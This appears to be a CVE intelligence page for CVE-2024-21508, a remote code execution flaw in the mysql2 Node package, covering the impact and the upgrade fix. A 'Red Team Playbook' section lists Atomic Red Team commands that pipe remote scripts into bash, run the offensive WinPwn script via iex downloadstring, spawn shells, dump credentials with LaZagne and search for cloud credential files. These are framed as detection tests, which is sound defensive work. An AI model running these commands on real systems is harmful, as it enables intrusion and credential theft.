CVE-2024-21508
Overview
This vulnerability is a remote code execution flaw arising from improper input validation within the mysql2 package's readCodeFor function. The root cause lies in the inadequate sanitization of the supportBigNumbers and bigNumberStrings configuration parameters, which are used during parsing of database responses. This flaw affects the text parsing component responsible for handling numeric data representations in mysql2 versions prior to 3.9.4.
Vulnerability Description
Versions of the package mysql2 before 3.9.4 are vulnerable to Remote Code Execution (RCE) via the readCodeFor function due to improper validation of the supportBigNumbers and bigNumberStrings values.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code within the context of the application using the vulnerable mysql2 package. This enables full compromise of the host environment, including potential data exfiltration, service disruption, or lateral movement. The attack requires network access to the affected application but no user interaction or privileges, consistent with the CVSS vector indicating network attack vector, low attack complexity, and no privileges required (AV:N/AC:L/PR:N/UI:N).
Solution
Upgrade the mysql2 package to version 3.9.4 or later, as this version includes the necessary fixes to properly validate the supportBigNumbers and bigNumberStrings parameters in the readCodeFor function. Refer to the Snyk advisory (https://security.snyk.io/vuln/SNYK-JS-MYSQL2-6591085) for detailed patch instructions and verification steps. No alternative workarounds are documented; applying the update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the mysql2 package, specifically in versions prior to 3.9.4, presents a significant risk due to its potential for Remote Code Execution (RCE). This flaw arises from improper validation of the parameters `supportBigNumbers` and `bigNumberStrings` within the `readCodeFor` function. When these parameters are not adequately validated, an attacker can manipulate them to execute arbitrary code on the server. This exploitation can occur without user interaction, making it particularly dangerous, as it allows attackers to gain control over the affected system remotely, potentially leading to unauthorized access to sensitive data or further exploitation of the network.
Attack vectors for this vulnerability are varied, but they primarily involve sending specially crafted requests to a server that utilizes the vulnerable version of the mysql2 package. An attacker could exploit this flaw by embedding malicious payloads within the parameters that are processed by the `readCodeFor` function. Once the payload is executed, the attacker could perform a range of malicious actions, including data exfiltration, system manipulation, or deploying additional malware. Given the widespread use of the mysql2 package in applications that interface with MySQL databases, the potential for exploitation is extensive, affecting a broad spectrum of web applications and services.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the mysql2 package for database interactions. The high CVSS score of 9.8 indicates a critical severity level, suggesting that successful exploitation could lead to severe consequences, including data breaches and loss of customer trust. Businesses may face regulatory repercussions if sensitive data is compromised, along with the financial implications of remediation efforts and potential legal liabilities. Furthermore, the reputational damage associated with a successful attack could lead to a loss of business, as customers increasingly prioritize security in their decision-making processes.
To detect and mitigate this vulnerability, organizations should prioritize updating the mysql2 package to version 3.9.4 or later, where the flaw has been addressed. Regularly auditing dependencies and implementing automated tools for vulnerability scanning can help identify outdated packages and ensure that all components are secure. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests that attempt to exploit this vulnerability. Organizations should also adopt a robust incident response plan to quickly address any potential breaches, including monitoring for unusual activity that may indicate exploitation attempts.
In conclusion, the vulnerability within the mysql2 package represents a critical threat to organizations utilizing this software for database interactions. The potential for remote code execution, coupled with the ease of exploitation, underscores the importance of timely updates and proactive security measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential threats and mitigate risks associated with their software dependencies.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21508 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-JS-MYSQL2-6591085 |
| blog.slonser.info |
GitHub CVE
|
https://blog.slonser.info/posts/mysql2-attacker-configuration/ |
| github.com |
GitHub CVE
|
https://github.com/sidorares/node-mysql2/blob/1609b5393516d72a4ae47196837317fbe75e0c13/lib/parsers/text_parser.js%23L14C10-L14C21 |
| github.com |
GitHub CVE
|
https://github.com/sidorares/node-mysql2/pull/2572 |
| github.com |
GitHub CVE
|
https://github.com/sidorares/node-mysql2/commit/74abf9ef94d76114d9a09415e28b496522a94805 |
| github.com |
GitHub CVE
|
https://github.com/sidorares/node-mysql2/releases/tag/v3.9.4 |